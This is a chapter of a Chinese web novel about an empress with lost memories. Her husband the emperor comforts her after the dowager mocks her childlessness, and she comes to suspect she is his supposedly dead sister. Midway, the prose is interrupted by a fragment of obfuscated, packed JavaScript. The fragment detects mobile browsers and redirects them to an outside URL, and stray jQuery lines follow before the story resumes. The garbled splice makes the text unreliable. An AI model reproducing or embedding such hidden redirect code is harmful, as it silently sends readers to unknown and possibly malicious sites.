29. 第 29 章
作品:《忆君王》 大部分时候,只要周奉疆捧着她、护着她,其实媜珠并未受过什么罪、生过什么气,婚后她的每一日都过得十分平静安然。
这有个前提,那是因为她的“婆婆”也没有在她面前摆过什么婆婆的谱,没有隔三差五把她叫过去站规矩之类的磋磨她的性子。
赵太后一直以来对她这个儿媳都是极好的。
过去几年里,媜珠虽然嫁给了周奉疆,但他常年征战在外,只留媜珠在冀州家里伺候婆婆、主持家事。
那段时间里,赵太后对她这个初为人妇的儿媳格外宽容,不仅免去她的晨昏定省,让她整日在家里想几时醒就几时醒,而且也甚少把她叫到她跟前伺候她吃饭洗脸云云。
不过今年除夕,赵太后似乎心情有些不快,脸色也不大安宁。
中午的宫宴毕,晚间又有家宴,诸王、王妃与公主、驸马们于家宴上向皇太后祝寿贺岁。
有几个小孩子被领上前来给赵太后磕了头,口中唤着“祖母”“外祖母”的,直叫得赵太后又一阵头疼心烦,吵得她脸色不虞。
——毕竟和自己压根没有半分血亲,说到底是她丈夫周鼎和别的女人的孙儿外孙,她能摆出什么好脸色来。
若是媜珠宫里养的那只金丝猫灿娘子跳到她怀里,她倒还能给个笑脸儿摸一摸那猫。
赵太后本就应媜珠没有生养而失望,这会儿再见到这些蹦蹦跳跳的孩子,心里火气更大,再想到她丈夫和妾室们生的庶子庶女们成婚后都生下了一堆孙辈,独她的女儿还不能生,真是越想越不得意。
太乐署的署令上前请皇太后赏乐,赵太后按照惯例点了一曲《尧天舜日》,是一曲贺四海升平的吉乐。
未等曲毕,她便沉着一张脸起身离席,说是累乏了,没什么意思,要回宫歇下。
媜珠连忙起身:“母亲!除夕乃是要守岁祈福的日子……”
她想说,若是赵太后累了,那她身为儿妇,自然要去跟着侍奉她的。
但还不等媜珠说完,赵太后就打断了她:“罢罢罢,我一个老婆子,还要凑什么热闹守岁,早歇下便是。那是人家家里子孙兴旺热闹的,一堆小孩子陪着闹着,儿孙满堂,做长辈的才有守岁的兴致,否则如我一般的人,谁不想早点歇息了。”
说罢她便在福蓉的搀扶下头也不回地离去了。
媜珠尴尬得愣在原地,好半晌都说不出话来,既是尴尬又是委屈,尤其是在这些宗亲皇戚们面前,赵太后直截了当地把她没有子嗣的事拿出来说,她面皮又薄,如何受得了这样对待。
不止是皇后尴尬,赵太后除夕里乱发这样的脾气,叫穆王和颍川公主他们面上也很没光彩。
按理来说,哪怕皇后没生,可是穆王和颍川公主他们的孩子,那都是赵太后的“亲孙子”“亲外孙”,都要叫她一声祖母外祖母的,人家才给她磕过头拜过岁,她就冷言冷语地暗指自己膝下没有孙辈陪伴,没把这些孩子放在眼里,岂不是活生生在打这些王爷公主们的脸。
尤其是太后说这话的时候,穆王的长子还刚跑过去给太后背了首贺岁诗讨她欢心。
皇后受委屈了,有皇帝立马过去安抚哄慰;但王爷公主们心里有气,一时便不知往何处去发,只能再往肚子里咽。
这场家宴遂在这样略显尴尬的氛围里寥寥散场,皇帝一路上握着媜珠的手,带着媜珠回到椒房殿内更衣梳洗歇下。
直到宫人们全都退下了,媜珠这才伏在他怀里哽咽起来:
“陛下!并非妾不愿为陛下生儿育女,太医署的医者们都说妾的身子康健无事,为什么妾就是一直没有身孕?”
她的脸皮是真的薄,又兼心思细腻柔软,谁对她说了一句重话都能让她暗自难过许久无法忘怀。
而子嗣一事,又刚好是她最不能提的另一桩心事。
周奉疆太了解她了。
他知道,一直以来,她都在努力地迎合着旁人对她的期待,总会下意识地把自己塑造成旁人想要的样子。
从小开始,她就有这样善良无害的性情,是她父亲期待的乖顺的女儿,是家中其他兄弟姐妹们所期待的好姐姐、好妹妹。
现在做了皇后,她同样也在努力迎合着天下臣民的期待,想要做一个旁人眼中合格的贤后。
别人说她应该替皇帝生育,她就常常为自己没有做到此事而感到愧疚不安。
周奉疆在心底叹息,媜珠啊,可是你又为什么总要在意别人的看法呢?为什么总要去满足别人对你的期待?
你只需要在意我一个人就行了,只要我们在一起,只要我们是相爱的,我会永远把你保护得很好,你想要做什么、过什么样的生活都可以,何必去在意那些无关紧要的人?
他亲了亲媜珠柔顺的发丝:“媜媜,咱们还年轻,三年五年有没有孩子有什么要紧,朕还舍不得让你早早就生育。有了孩子,便有一堆养育子女的烦心事,倒不如如今叫咱们清净几年。”
媜珠仍是抽泣:“那三年五年过去了呢?待妾已至人老珠黄之年,若是还不曾生养,妾又该如何?又有何面目再忝居中宫之位?”
“媜媜!”
周奉疆的语气放重了些,又唤了声她的名字,“不许说这样的话!”
“你是朕的妻子,是朕心爱之人,只要朕做一日的天子,你便是朕唯一的女人,唯一的皇后。不论是赵太后还是谁对你说什么,你都不必理会。”
媜珠倒是没有继续掉眼泪了,可神情还是有些闷闷不乐:“朝臣们就不会议论妾么?妾独专圣宠,却不能替陛下——”
“谁敢议论你半句,朕便砍了他们的脑袋挂在长安城楼上示众。”
“陛下!”
媜珠被他吓了一跳,“陛下不能……妾无德便罢了,如何能让妾连累陛下的声名……”
“朕可不是那些无能的亡国之君。朕要护着自己心爱的女人,更不必看任何人的脸色。只要有朕在,你生不生育、贤不贤良、有德无德,都无人敢撼动你的皇后之位半分。”
媜珠这会儿倒没有再多伤心什么了,她在他怀中仰首看着他:
“可是陛下,妾何德何能教陛下如此厚爱?陛下爱妾愈深,妾心中便愈是惶恐。”
这个问题的确是媜珠一直以来心中的疑问。
她知道自己根本没那么爱皇帝,但她也不得不承认皇帝对她确实是宠爱之至。
很多时候,连她自己都不能理解他为什么那么爱她。
不仅给了她几乎全天下女人都要羡慕的荣华,捧她坐上尊贵的皇后宝座,甚至除了她之外,他从来都没有过别的女人。
——对于这个时代的一个男人,尤其是一个位高权重无所不有的男人来说,实在是罕见的。
他已经爱她爱到心里眼里都没有再多半分的地方去放下别的女人了吗?
从前他在外面打仗的时候,媜珠就知道有很多人给他送过各种各样的女人。
偶尔他从外头回来,她也会平静地问他是否有带回家中的姬妾,是否需要她为他的姬妾们安排屋舍、奴仆过去伺候等等。
哪怕真的有,媜珠好像也没觉得有什么大不了的。这个世道的男人不都是这样的,何况是他呢。
然而周奉疆每次都无比认真地告诉他说,那些别人送来的女人,他看也没看一眼就叫她们哪来的回哪去,除了她之外,他从不想要别的任何女人。
可是这到底是为什么呢?她到底有什么值得他这样迷恋的地方?
“又说什么傻话?”
皇帝一手托着媜珠的后腰,将媜珠的身子扶起来了些,俯首亲了亲她的唇,“朕不爱你,还能爱谁?咱们青梅竹马相识了这么多年,过去一起经历过多少事情……点点滴滴,都只有你陪在朕身边。朕此生挚爱也只有你。”
媜珠叹息:“可过去的事妾都不记得了。”
也许她从前真的是个很好很好的恋人,所以才能被男人视作心头的一片白月光,娶到手里宠了这么多年,过了这么多年无忧无虑的好日子。
皇帝问她:“那现在呢?现在你可有像朕爱你一般爱着朕?你失忆之前的事忘也就忘了罢,这五六年的光阴里,咱们在一起相守的年岁呢?可有多爱上朕几分?”
媜珠勉强挤出几分笑意,素手在皇帝胸膛前轻推了一把,语气像是埋怨撒娇:
“陛下还好意思说呢,妾嫁与您这五六年的时日里,咱们相守的时光还不足半数,陛下过去常年征战在外,有时一年在冀州家里还不到三四个月,只留妾一人独守空闺,您叫妾怎么爱您?”
皇帝眯了眯眼睛:“真的?媜媜记得这么清楚?”
话题大约是从“生不生孩子”转移到了“翻旧账”这上面,媜珠既说起此处,便也认真掰起了手指回忆:
“妾记得那年妾是春日的三月十二和陛下完婚,陛下婚后不到三个月就去了徐州伐徐州节度使章疗,待陛下回冀州时已是第二年夏末。您算算您走了多长时间?”
皇帝颔首向她致歉:“是朕之错。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640972|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>媜珠又说:“您那年说会留在家里多陪妾几个月,结果……结果那年六月、七月……八月,那年您、您——”
不知是想起了那年的什么事情,媜珠头颅中又一片空白,好像那一年中许久许久的记忆在她脑海里也被瞬间抽走了。
皇帝立马接过了话茬:“那年朕在家里陪媜媜过完了年,是正月年后才走的,媜媜这次可不能怨朕。”
话刚说完,他转头在寝殿里找起了他和媜珠一起养的那只波斯猫:“灿娘,灿娘呢?过来,今日朕允你上榻上来。”
听到皇帝唤它,灿娘子从房梁上跳了下来,扛着它蓬松柔软的大尾巴蹦蹦跳跳地上了帝后二人的床榻上。
灿娘子从前就喜欢爬到榻上玩,但它太容易掉毛了,周奉疆不惯着它的“邋遢”,不许它上榻,灿娘子多少畏惧他,于是也就不敢放肆。
今日难得是皇恩浩荡,允它放肆一回,灿娘子高兴得不得了,拉长了柔软的猫身在丝被上打起了滚。
媜珠的思绪也立马被它牵走,从周奉疆怀里起了身,半跪在榻上与灿娘子一道玩了起来。
皇帝满目柔情地注视着媜珠:“你陪它玩会儿吧,今年咱们一起守岁祈福。”
媜珠状作神情专注地逗着猫儿,全然不敢回头看皇帝一眼,唯恐皇帝在她的眼神里看出什么异常来。
*
她刚刚想起了一件事情。而且她觉得,皇帝大概也想起了那件事。
在她和皇帝成婚后的第二年夏天,她几乎丢失了一整个夏天的记忆。
从那年夏天五月末开始,直到七八月间,她恍然意识到自己的记忆都是一片空白,完全记不得那两三个月里发生过什么。
可是怎么会这样呢?
那两三个月里,到底又发生了一些什么?
方才她想到这一段,在努力地回想那一年的记忆时,皇帝显然就看出了些什么,一下就打断了她,没有让她继续深思下去。
连皇帝也觉得,那是一段不该被她想起的记忆吗?
可是究竟在什么情况下,一个人会无缘无故地消失掉两三个月的记忆呢?
而且,媜珠忽然又联想到了另一件事。
她开始失忆的那段时间,恰巧也是皇帝的妹妹兖国公主去世的时间。
——换句话说,正好从她受伤失忆之后,世上再无兖国公主此人了。
皇帝说,他和她之间的婚事,曾经遭到过她兄长的阻挠。
而皇帝自己身为兄长,也曾阻挠过兖国公主和河间王的婚事。
她梦里的兄长,曾经在她已经出嫁之后又带人把她抓回家中;
而当年兖国公主已经换上了嫁衣准备跟着河间王嫁去洛阳了,结果又被皇帝带着人抓回了冀州家中。
她看皇帝的样子,明明皇帝是很爱惜、在乎自己的这个妹妹的,但是他似乎又从未因兖国公主的死而伤心过。
还有在她最近断断续续所恢复的记忆里,当年那个她要嫁的男人,一直都说要带她嫁去洛阳,她最后也是在嫁去洛阳的路上被人拦了下来,软禁了起来。
她最近一直都怀疑自己压根不是赵家的女儿,不是襄国夫人的亲生女儿,她怀疑自己也许本来根本就不姓赵。
然而她的这张脸单挑出来看看,和她的“姑母”兼婆母赵太后又是有几分相似的。
侄女儿像姑母当然没什么问题,但如果这样的话,那她不就又成了赵氏女么?
可如果她是赵氏女,又该怎么解释她记忆里有个男人说过她父亲已经死了的事实呢?
这一切真的都只是巧合么?
除夕的子夜时分很快过去,媜珠隐约听到了宫墙外面传来了热闹的喧嚣爆竹之声,皇帝挥手打发灿娘子跳下了床,他欲拥着媜珠歇下:
“新年了,媜媜,咱们在一起又度过了一年。”
媜珠温柔地回他:“妾愿年年岁岁皆与陛下相守,年年有今日,岁岁有今朝。”
“咱们睡下吧。”
这夜,媜珠靠在他怀里,脑海中莫名其妙地冒出了一个令她自己都感到惊悚的想法。
——她会不会就是皇帝和太后从来提也不愿多提的那个兖国公主?
会不会兖国公主从来都没有死,只是换了一种身份活在了这世上?
但这个念头实在太过令人骨颤肉惊,连媜珠自己都忍不住在他怀里发抖了几下。
皇帝以为她太累了,睡得不安稳,哄孩子一样轻轻拍了拍她的背,哄着她安静地睡下。